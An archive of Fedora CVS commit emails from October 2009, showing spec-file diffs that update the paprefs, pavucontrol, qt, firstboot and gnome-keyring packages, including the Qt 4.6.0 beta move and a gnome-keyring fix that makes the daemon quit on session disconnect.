Date: Wed, 14 Oct 2009 20:01:20 +0000 (UTC)
Subject: rpms/paprefs/devel paprefs.spec,1.18,1.19
Message-ID: <20091014200120.DA28111C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/paprefs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10746

Modified Files:
	paprefs.spec 
Log Message:
Rebuild to make sure we look for /usr/lib/pulse-0.9.19/modules/xxx instead of /usr/lib/pulse-0.9.16/modules/xxx


Index: paprefs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/paprefs/devel/paprefs.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- paprefs.spec	10 Sep 2009 01:58:47 -0000	1.18
+++ paprefs.spec	14 Oct 2009 20:01:20 -0000	1.19
@@ -1,6 +1,6 @@
 Name:           paprefs
 Version:        0.9.9
-Release:        2%{?dist}
+Release:        4%{?dist}
 Summary:        Management tool for PulseAudio
 Group:          Applications/Multimedia
 License:        GPLv2+
@@ -52,6 +52,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/paprefs.desktop
 
 %changelog
+* Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-4
+- Fix mistag
+
+* Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-3
+- Rebuild to make sure we look for /usr/lib/pulse-0.9.19/modules/xxx instead of /usr/lib/pulse-0.9.16/modules/xxx
+
 * Thu Sep 10 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-2
 - Final 0.9.9 release
 



From lennart at fedoraproject.org  Wed Oct 14 20:06:21 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 20:06:21 +0000 (UTC)
Subject: rpms/pavucontrol/F-12 .cvsignore, 1.14, 1.15 pavucontrol.spec, 1.21,
	1.22 sources, 1.14, 1.15
Message-ID: <20091014200621.631DF11C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/pavucontrol/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11555

Modified Files:
	.cvsignore pavucontrol.spec sources 
Log Message:
New upstream 0.9.10


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pavucontrol/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	10 Sep 2009 02:25:18 -0000	1.14
+++ .cvsignore	14 Oct 2009 20:06:21 -0000	1.15
@@ -1 +1 @@
-pavucontrol-0.9.9.tar.gz
+pavucontrol-0.9.10.tar.gz


Index: pavucontrol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pavucontrol/F-12/pavucontrol.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- pavucontrol.spec	10 Sep 2009 02:25:18 -0000	1.21
+++ pavucontrol.spec	14 Oct 2009 20:06:21 -0000	1.22
@@ -1,5 +1,5 @@
 Name:           pavucontrol
-Version:        0.9.9
+Version:        0.9.10
 Release:        1%{?dist}
 Summary:        Volume control for PulseAudio
 
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/pavucontrol.desktop
 
 %changelog
+* Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.10-1
+- New upstream 0.9.10
+
 * Thu Sep 10 2009 Lennart Poettering <lpoetter at redhat.com> 0.9.9-1
 - Final 0.9.9
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pavucontrol/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	10 Sep 2009 02:25:18 -0000	1.14
+++ sources	14 Oct 2009 20:06:21 -0000	1.15
@@ -1 +1 @@
-df7c2dd3dc938ccda68868c61f4be462  pavucontrol-0.9.9.tar.gz
+b966eb31ec7fd6afa0f1ed7d5ba480b3  pavucontrol-0.9.10.tar.gz



From rdieter at fedoraproject.org  Wed Oct 14 20:12:05 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 14 Oct 2009 20:12:05 +0000 (UTC)
Subject: rpms/qt/devel .cvsignore, 1.64, 1.65 kde-qt-patches.sh, 1.1,
	1.2 qt.spec, 1.345, 1.346 sources, 1.65,
	1.66 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch, 
	1.1,
	NONE 0002-This-patch-makes-override-redirect-windows-popup-me.patch, 
	1.1,
	NONE 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch, 
	1.1,
	NONE 0004-This-patch-adds-support-for-using-isystem-to-allow.patch,
	1.1, NONE 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch, 
	1.1,
	NONE 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch, 
	1.1,
	NONE 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch, 
	1.1, NONE 0008-In-a-treeview-with-columns-like-this.patch, 1.1,
	NONE 0009-This-patch-fixes-deserialization-of-values-with-cust.patch, 
	1.1, NONE 0010-Import-README.qt-copy-from-the-original-qt-copy.patch, 
	1.1,
	NONE 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch, 
	1.1, NONE 0015-Make-QMenu-respect-the-minimum-width-set.patch, 1.1,
	NONE 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch, 
	1.1, NONE 0017-Add-context-to-tr-calls-in-QShortcut.patch, 1.1,
	NONE 0118-qtcopy-define.diff, 1.1,
	NONE 0274-shm-native-image-fix.patch, 1.1,
	NONE 0283-do-not-deduce-scrollbar-extent-twice.diff, 1.1,
	NONE 0285-qgv-dontshowchildren.diff, 1.1, NONE
Message-ID: <20091014201205.9374311C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12547

Modified Files:
	.cvsignore kde-qt-patches.sh qt.spec sources 
Removed Files:
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch 
	0002-This-patch-makes-override-redirect-windows-popup-me.patch 
	0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch 
	0004-This-patch-adds-support-for-using-isystem-to-allow.patch 
	0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch 
	0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch 
	0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch 
	0008-In-a-treeview-with-columns-like-this.patch 
	0009-This-patch-fixes-deserialization-of-values-with-cust.patch 
	0010-Import-README.qt-copy-from-the-original-qt-copy.patch 
	0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch 
	0015-Make-QMenu-respect-the-minimum-width-set.patch 
	0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch 
	0017-Add-context-to-tr-calls-in-QShortcut.patch 
	0118-qtcopy-define.diff 0274-shm-native-image-fix.patch 
	0283-do-not-deduce-scrollbar-extent-twice.diff 
	0285-qgv-dontshowchildren.diff 
Log Message:
* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.0-0.1.beta1
- qt-4.6.0-beta1
- no kde-qt patches (yet)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	2 Oct 2009 14:34:44 -0000	1.64
+++ .cvsignore	14 Oct 2009 20:12:00 -0000	1.65
@@ -7,4 +7,4 @@ hi22-phonon-gstreamer.png
 hi32-phonon-gstreamer.png
 hi48-phonon-gstreamer.png
 hi64-phonon-gstreamer.png
-qt-x11-opensource-src-4.5.3.tar.gz
+qt-everywhere-opensource-src-4.6.0-beta1.tar.gz


Index: kde-qt-patches.sh
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/kde-qt-patches.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kde-qt-patches.sh	2 Oct 2009 14:33:09 -0000	1.1
+++ kde-qt-patches.sh	14 Oct 2009 20:12:03 -0000	1.2
@@ -1,4 +1,4 @@
 # quick-n-dirty method to fetch patches from -patched git branch
 # unfortunately, requires an already checked-out copy of the git repo
 
-git format-patch --output-directory kde-qt-patches v4.5.3..4.5.3-patched
+git format-patch --output-directory kde-qt-patches v4.6.0-beta..v4.6-stable-patched


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.345
retrieving revision 1.346
diff -u -p -r1.345 -r1.346
--- qt.spec	10 Oct 2009 19:45:49 -0000	1.345
+++ qt.spec	14 Oct 2009 20:12:03 -0000	1.346
@@ -6,17 +6,21 @@
 
 %define _default_patch_fuzz 2
 
+%define pre beta1
+# enable kde-qt integration/patches (currently a no-op)
+#define kde_qt 1
+
 Summary: Qt toolkit
 Name:    qt
 Epoch:   1
-Version: 4.5.3
-Release: 4%{?dist}
+Version: 4.6.0
+Release: 0.1.%{pre}%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
 Group: System Environment/Libraries
 Url: http://www.qtsoftware.com/
-Source0: ftp://ftp.qt.nokia.com/qt/source/qt-x11-opensource-src-%{version}.tar.gz
+Source0: http://get.qt.nokia.com/qt/source/qt-everywhere-opensource-src-%{version}%{?pre:-%{pre}}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Obsoletes: qt4 < %{version}-%{release}
 Provides: qt4 = %{version}-%{release}
@@ -61,26 +65,7 @@ Patch54: qt-x11-opensource-src-4.5.1-mys
 # security patches
 
 # kde-qt git patches
-Patch201: 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
-Patch202: 0002-This-patch-makes-override-redirect-windows-popup-me.patch
-Patch203: 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch
-Patch204: 0004-This-patch-adds-support-for-using-isystem-to-allow.patch
-Patch205: 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
-Patch206: 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
-Patch207: 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch
-Patch208: 0008-In-a-treeview-with-columns-like-this.patch
-Patch209: 0009-This-patch-fixes-deserialization-of-values-with-cust.patch
-Patch210: 0010-Import-README.qt-copy-from-the-original-qt-copy.patch
-Patch211: 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch
-Patch212: 0274-shm-native-image-fix.patch
-Patch213: 0015-Make-QMenu-respect-the-minimum-width-set.patch
-Patch214: 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch
-Patch215: 0017-Add-context-to-tr-calls-in-QShortcut.patch
-
-# these patches are not merged yet in kde-qt branches
-Patch301: 0118-qtcopy-define.diff
-Patch302: 0283-do-not-deduce-scrollbar-extent-twice.diff
-Patch303: 0285-qgv-dontshowchildren.diff
+
 
 Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
 Source11: hi16-phonon-gstreamer.png
@@ -141,7 +126,9 @@ Source31: hi48-app-qt4-logo.png
 %define _qt4_sysconfdir %{_sysconfdir}
 %define _qt4_translationdir %{_datadir}/qt4/translations
 
+%if "%{_qt4_libdir}" != "%{_libdir}"
 Prereq: /etc/ld.so.conf.d
+%endif
 
 BuildRequires: dbus-devel >= 0.62
 BuildRequires: cups-devel
@@ -358,7 +345,7 @@ Qt libraries used for drawing widgets an
 
 
 %prep
-%setup -q -n qt-x11-opensource-src-%{version}
+%setup -q -n qt-everywhere-opensource-src-%{version}%{?pre:-%{pre}}
 
 # don't use -b on mkspec files, else they get installed too.
 # multilib hacks no longer required
@@ -374,35 +361,22 @@ Qt libraries used for drawing widgets an
 %patch19 -p1 -b .servicesfile
 %patch21 -p1 -b .gst-pulsaudio
 %patch22 -p1 -b .system_ca_certificates
-%patch23 -p1 -b .javascriptcore-disable-jit
-%patch51 -p1 -b .qdoc3
-%patch52 -p1 -b .sparc64
+## FIXME: I think this one can be replaced with ./configure -no-javascript-jit
+## test first if it's still needed
+#patch23 -p1 -b .javascriptcore-disable-jit
+## FIXME: qdoc3 was needed for older qt-creator builds, but it seems
+## it's not needed anymore
+#patch51 -p1 -b .qdoc3
+## FIXME: port patch
+#patch52 -p1 -b .sparc64
+## TODO: still worth carrying?  if so, upstream it.
 %patch53 -p1 -b .qatomic-inline-asm
+## TODO: upstream me
 %patch54 -p1 -b .mysql_config
 
 # security fixes
 
 # kde-qt branch
-%patch201 -p1 -b .kde-qt-0001
-%patch202 -p1 -b .kde-qt-0002
-%patch203 -p1 -b .kde-qt-0003
-%patch204 -p1 -b .kde-qt-0004
-%patch205 -p1 -b .kde-qt-0005
-%patch206 -p1 -b .kde-qt-0006
-%patch207 -p1 -b .kde-qt-0007
-%patch208 -p1 -b .kde-qt-0008
-%patch209 -p1 -b .kde-qt-0009
-%patch210 -p1 -b .kde-qt-0010
-%patch211 -p1 -b .kde-qt-0011
-%patch212 -p1 -b .0274-shm-native-image-fix
-%patch213 -p1 -b .kde-qt-0015
-%patch214 -p1 -b .kde-qt-0016
-%patch215 -p1 -b .kde-qt-0017
-
-# not yet merged ones
-%patch301 -p0 -b .0118-qtcopy-define
-%patch302 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
-%patch303 -p0 -b .0285-qgv-dontshowchildren
 
 # drop -fexceptions from $RPM_OPT_FLAGS
 RPM_OPT_FLAGS=`echo $RPM_OPT_FLAGS | sed 's|-fexceptions||g'`
@@ -767,7 +741,10 @@ fi
 
 %files
 %defattr(-,root,root,-)
-%doc README README.kde-qt LGPL_EXCEPTION.txt LICENSE.LGPL LICENSE.GPL3
+%doc README LGPL_EXCEPTION.txt LICENSE.LGPL LICENSE.GPL3
+%if 0%{?kde_qt:1}
+%doc README.kde-qt
+%endif
 %if "%{_qt4_libdir}" != "%{_libdir}"
 /etc/ld.so.conf.d/*
 %dir %{_qt4_libdir}
@@ -792,20 +769,20 @@ fi
 %endif
 %config(noreplace) %{_qt4_sysconfdir}/Trolltech.conf
 %{_qt4_datadir}/phrasebooks/
-%{_qt4_libdir}/libQtCore.so.*
+%{_qt4_libdir}/libQtCore.so.4*
 %if 0%{?dbus:1}
 %if "%{_qt4_bindir}" != "%{_bindir}"
 %{_bindir}/qdbus
 %endif
 %{_qt4_bindir}/qdbus
-%{_qt4_libdir}/libQtDBus.so.*
+%{_qt4_libdir}/libQtDBus.so.4*
 %endif
-%{_qt4_libdir}/libQtNetwork.so.*
-%{_qt4_libdir}/libQtScript.so.*
-%{_qt4_libdir}/libQtSql.so.*
-%{_qt4_libdir}/libQtTest.so.*
-%{_qt4_libdir}/libQtXml.so.*
-%{_qt4_libdir}/libQtXmlPatterns.so.*
+%{_qt4_libdir}/libQtNetwork.so.4*
+%{_qt4_libdir}/libQtScript.so.4*
+%{_qt4_libdir}/libQtSql.so.4*
+%{_qt4_libdir}/libQtTest.so.4*
+%{_qt4_libdir}/libQtXml.so.4*
+%{_qt4_libdir}/libQtXmlPatterns.so.4*
 %dir %{_qt4_plugindir}
 %dir %{_qt4_plugindir}/sqldrivers/
 %{_qt4_plugindir}/sqldrivers/libqsqlite*
@@ -829,9 +806,10 @@ fi
 %{_qt4_bindir}/lupdate*
 %{_qt4_bindir}/moc*
 %{_qt4_bindir}/pixeltool*
-%{_qt4_bindir}/qdoc3*
+#{_qt4_bindir}/qdoc3*
 %{_qt4_bindir}/qmake*
 %{_qt4_bindir}/qt3to4
+%{_qt4_bindir}/qttracereplay
 %{_qt4_bindir}/rcc*
 %{_qt4_bindir}/uic*
 %{_qt4_bindir}/qcollectiongenerator
@@ -842,15 +820,17 @@ fi
 %{_qt4_bindir}/qhelpconverter
 %{_qt4_bindir}/qhelpgenerator
 %{_qt4_bindir}/xmlpatterns
+%{_qt4_bindir}/xmlpatternsvalidator
 %if "%{_qt4_bindir}" != "%{_bindir}"
 %{_bindir}/lconvert
 %{_bindir}/lrelease*
 %{_bindir}/lupdate*
 %{_bindir}/pixeltool*
 %{_bindir}/moc*
-%{_bindir}/qdoc3
+#{_bindir}/qdoc3
 %{_bindir}/qmake*
 %{_bindir}/qt3to4
+%{_bindir}/qttracereplay
 %{_bindir}/rcc*
 %{_bindir}/uic*
 %{_bindir}/designer*
@@ -863,6 +843,7 @@ fi
 %{_bindir}/qhelpconverter
 %{_bindir}/qhelpgenerator
 %{_bindir}/xmlpatterns
+%{_bindir}/xmlpatternsvalidator
 %endif
 %if "%{_qt4_headerdir}" != "%{_includedir}"
 %dir %{_qt4_headerdir}/
@@ -940,17 +921,18 @@ fi
 %dir %{_datadir}/kde4/services/phononbackends/
 %{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
 %endif
-%{_qt4_libdir}/libQt3Support.so.*
-%{_qt4_libdir}/libQtAssistantClient.so.*
-%{_qt4_libdir}/libQtCLucene.so.*
-%{_qt4_libdir}/libQtDesigner.so.*
-%{_qt4_libdir}/libQtDesignerComponents.so.*
-%{_qt4_libdir}/libQtGui.so.*
-%{_qt4_libdir}/libQtHelp.so.*
-%{_qt4_libdir}/libQtOpenGL.so.*
-%{_qt4_libdir}/libQtScriptTools.so.*
-%{_qt4_libdir}/libQtSvg.so.*
-%{?webkit:%{_qt4_libdir}/libQtWebKit.so.*}
+%{_qt4_libdir}/libQt3Support.so.4*
+%{_qt4_libdir}/libQtAssistantClient.so.4*
+%{_qt4_libdir}/libQtCLucene.so.4*
+%{_qt4_libdir}/libQtDesigner.so.4*
+%{_qt4_libdir}/libQtDesignerComponents.so.4*
+%{_qt4_libdir}/libQtGui.so.4*
+%{_qt4_libdir}/libQtHelp.so.4*
+%{_qt4_libdir}/libQtMultimedia.so.4*
+%{_qt4_libdir}/libQtOpenGL.so.4*
+%{_qt4_libdir}/libQtScriptTools.so.4*
+%{_qt4_libdir}/libQtSvg.so.4*
+%{?webkit:%{_qt4_libdir}/libQtWebKit.so.4*}
 %{_qt4_plugindir}/*
 %exclude %{_qt4_plugindir}/sqldrivers
 #if "%{?phonon_backend}" == "-phonon-backend"
@@ -970,6 +952,10 @@ fi
 
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.0-0.1.beta1
+- qt-4.6.0-beta1
+- no kde-qt patches (yet)
+
 * Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
 - fix translation build issue
 - rhel cleanup


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/sources,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sources	1 Oct 2009 14:28:58 -0000	1.65
+++ sources	14 Oct 2009 20:12:04 -0000	1.66
@@ -7,4 +7,4 @@ d9f511e4b51983b4e10eb58b320416d5  hi128-
 12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
 86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
 153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png
-3988cf9af68be2df8a8000ede231de9b  qt-x11-opensource-src-4.5.3.tar.gz
+60d136f17491ce0e56bb317ea7300aef  qt-everywhere-opensource-src-4.6.0-beta1.tar.gz


--- 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch DELETED ---


--- 0002-This-patch-makes-override-redirect-windows-popup-me.patch DELETED ---


--- 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch DELETED ---


--- 0004-This-patch-adds-support-for-using-isystem-to-allow.patch DELETED ---


--- 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch DELETED ---


--- 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch DELETED ---


--- 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch DELETED ---


--- 0008-In-a-treeview-with-columns-like-this.patch DELETED ---


--- 0009-This-patch-fixes-deserialization-of-values-with-cust.patch DELETED ---


--- 0010-Import-README.qt-copy-from-the-original-qt-copy.patch DELETED ---


--- 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch DELETED ---


--- 0015-Make-QMenu-respect-the-minimum-width-set.patch DELETED ---


--- 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch DELETED ---


--- 0017-Add-context-to-tr-calls-in-QShortcut.patch DELETED ---


--- 0118-qtcopy-define.diff DELETED ---


--- 0274-shm-native-image-fix.patch DELETED ---


--- 0283-do-not-deduce-scrollbar-extent-twice.diff DELETED ---


--- 0285-qgv-dontshowchildren.diff DELETED ---



From clumens at fedoraproject.org  Wed Oct 14 21:28:45 2009
From: clumens at fedoraproject.org (Christopher Edward Lumens)
Date: Wed, 14 Oct 2009 21:28:45 +0000 (UTC)
Subject: rpms/firstboot/devel .cvsignore, 1.101, 1.102 firstboot.spec, 1.137,
	1.138 sources, 1.131, 1.132
Message-ID: <20091014212845.7DFF911C00E5@cvs1.fedora.phx.redhat.com>

Author: clumens

Update of /cvs/pkgs/rpms/firstboot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29691

Modified Files:
	.cvsignore firstboot.spec sources 
Log Message:
New version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/firstboot/devel/.cvsignore,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- .cvsignore	10 Sep 2009 15:21:24 -0000	1.101
+++ .cvsignore	14 Oct 2009 21:28:45 -0000	1.102
@@ -73,3 +73,4 @@ firstboot-1.105.tar.bz2
 firstboot-1.107.tar.bz2
 firstboot-1.108.tar.bz2
 firstboot-1.109.tar.bz2
+firstboot-1.110.tar.bz2


Index: firstboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/firstboot/devel/firstboot.spec,v
retrieving revision 1.137
retrieving revision 1.138
diff -u -p -r1.137 -r1.138
--- firstboot.spec	10 Sep 2009 15:21:24 -0000	1.137
+++ firstboot.spec	14 Oct 2009 21:28:45 -0000	1.138
@@ -3,7 +3,7 @@
 Summary: Initial system configuration utility
 Name: firstboot
 URL: http://fedoraproject.org/wiki/FirstBoot
-Version: 1.109
+Version: 1.110
 Release: 1%{?dist}
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -73,6 +73,10 @@ fi
 %{_datadir}/firstboot/themes/default/*
 
 %changelog
+* Wed Oct 14 2009 Chris Lumens <clumens at redhat.com> 1.110-1
+- Always attempt to display the Fedora logo, if present (jmccann).
+- Fix a bunch of small firstboot UI problems (jmccann).
+
 * Thu Sep 10 2009 Chris Lumens <clumens at redhat.com> 1.109-1
 - Change the init script return value for LSB purposes (atodorov, #521828).
 - We don't really need an X log file anymore (#521387).


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/firstboot/devel/sources,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- sources	10 Sep 2009 15:21:24 -0000	1.131
+++ sources	14 Oct 2009 21:28:45 -0000	1.132
@@ -1,2 +1,3 @@
 335f9855f49de44300f64f8482dc0e9a  firstboot-1.108.tar.bz2
 9b70cb90b6801a13fc573a22665b80a0  firstboot-1.109.tar.bz2
+5bd9a0e4065264f377fc6dad2b2c5a6e  firstboot-1.110.tar.bz2



From clumens at fedoraproject.org  Wed Oct 14 21:29:37 2009
From: clumens at fedoraproject.org (Christopher Edward Lumens)
Date: Wed, 14 Oct 2009 21:29:37 +0000 (UTC)
Subject: rpms/firstboot/F-12 .cvsignore, 1.101, 1.102 firstboot.spec, 1.137, 
	1.138 sources, 1.131, 1.132
Message-ID: <20091014212937.329D911C00E5@cvs1.fedora.phx.redhat.com>

Author: clumens

Update of /cvs/pkgs/rpms/firstboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30003

Modified Files:
	.cvsignore firstboot.spec sources 
Log Message:
New version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/firstboot/F-12/.cvsignore,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- .cvsignore	10 Sep 2009 15:21:24 -0000	1.101
+++ .cvsignore	14 Oct 2009 21:29:36 -0000	1.102
@@ -73,3 +73,4 @@ firstboot-1.105.tar.bz2
 firstboot-1.107.tar.bz2
 firstboot-1.108.tar.bz2
 firstboot-1.109.tar.bz2
+firstboot-1.110.tar.bz2


Index: firstboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/firstboot/F-12/firstboot.spec,v
retrieving revision 1.137
retrieving revision 1.138
diff -u -p -r1.137 -r1.138
--- firstboot.spec	10 Sep 2009 15:21:24 -0000	1.137
+++ firstboot.spec	14 Oct 2009 21:29:36 -0000	1.138
@@ -3,7 +3,7 @@
 Summary: Initial system configuration utility
 Name: firstboot
 URL: http://fedoraproject.org/wiki/FirstBoot
-Version: 1.109
+Version: 1.110
 Release: 1%{?dist}
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -73,6 +73,10 @@ fi
 %{_datadir}/firstboot/themes/default/*
 
 %changelog
+* Wed Oct 14 2009 Chris Lumens <clumens at redhat.com> 1.110-1
+- Always attempt to display the Fedora logo, if present (jmccann).
+- Fix a bunch of small firstboot UI problems (jmccann).
+
 * Thu Sep 10 2009 Chris Lumens <clumens at redhat.com> 1.109-1
 - Change the init script return value for LSB purposes (atodorov, #521828).
 - We don't really need an X log file anymore (#521387).


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/firstboot/F-12/sources,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- sources	10 Sep 2009 15:21:24 -0000	1.131
+++ sources	14 Oct 2009 21:29:36 -0000	1.132
@@ -1,2 +1,3 @@
 335f9855f49de44300f64f8482dc0e9a  firstboot-1.108.tar.bz2
 9b70cb90b6801a13fc573a22665b80a0  firstboot-1.109.tar.bz2
+5bd9a0e4065264f377fc6dad2b2c5a6e  firstboot-1.110.tar.bz2



From rstrode at fedoraproject.org  Wed Oct 14 21:30:30 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed, 14 Oct 2009 21:30:30 +0000 (UTC)
Subject: rpms/gnome-keyring/F-12
	gnome-keyring-2.28.0-die-on-session-exit.patch, NONE,
	1.1 gnome-keyring.spec, 1.132, 1.133
Message-ID: <20091014213030.4237B11C0296@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gnome-keyring/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30994

Modified Files:
	gnome-keyring.spec 
Added Files:
	gnome-keyring-2.28.0-die-on-session-exit.patch 
Log Message:
- Die on ctrl-alt-backspace and other abrupt exits


gnome-keyring-2.28.0-die-on-session-exit.patch:
 gkr-daemon-dbus.c |    6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

--- NEW FILE gnome-keyring-2.28.0-die-on-session-exit.patch ---
diff -up gnome-keyring-2.28.0/daemon/gkr-daemon-dbus.c.die-on-session-exit gnome-keyring-2.28.0/daemon/gkr-daemon-dbus.c
--- gnome-keyring-2.28.0/daemon/gkr-daemon-dbus.c.die-on-session-exit	2009-10-14 17:18:03.396005149 -0400
+++ gnome-keyring-2.28.0/daemon/gkr-daemon-dbus.c	2009-10-14 17:15:03.498984754 -0400
@@ -145,8 +145,12 @@ signal_filter (DBusConnection *conn, DBu
 		unregister_daemon_in_session ();
 		gkr_daemon_quit ();
 		return DBUS_HANDLER_RESULT_HANDLED;
+	} else if (dbus_message_is_signal (msg, DBUS_INTERFACE_LOCAL, "Disconnected")) {
+		unregister_daemon_in_session ();
+		gkr_daemon_quit ();
+		return DBUS_HANDLER_RESULT_HANDLED;
 	}
-	
+
 	return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
 }
 


Index: gnome-keyring.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-keyring/F-12/gnome-keyring.spec,v
retrieving revision 1.132
retrieving revision 1.133
diff -u -p -r1.132 -r1.133
--- gnome-keyring.spec	9 Oct 2009 01:44:19 -0000	1.132
+++ gnome-keyring.spec	14 Oct 2009 21:30:30 -0000	1.133
@@ -8,7 +8,7 @@
 Summary: Framework for managing passwords and other secrets
 Name: gnome-keyring
 Version: 2.28.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gnome-keyring/2.28/gnome-keyring-%{version}.tar.bz2
@@ -19,6 +19,9 @@ Patch0: gnome-keyring-no-logout-delay.pa
 # fixed upstream: https://bugzilla.gnome.org/show_bug.cgi?id=597813
 Patch1: rsa1-keys.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=598494
+Patch2: gnome-keyring-2.28.0-die-on-session-exit.patch
+
 URL: http://www.gnome.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -73,6 +76,7 @@ automatically unlock the "login" keyring
 %setup -q -n gnome-keyring-%{version}
 %patch0 -p1 -b .logout-delay
 %patch1 -p1 -b .rsa1-keys
+%patch2 -p1 -b .die-on-session-exit
 
 %build
 %configure --disable-gtk-doc --with-pam-dir=/%{_lib}/security --disable-acl-prompts
@@ -150,6 +154,9 @@ fi
 
 
 %changelog
+* Wed Oct 14 2009 Ray Strode <rstrode at redhat.com> - 2.28.0-4
+- Die on ctrl-alt-backspace and other abrupt exits
+
 * Thu Oct  8 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3
 - Fix handling of rsa1 keys
 



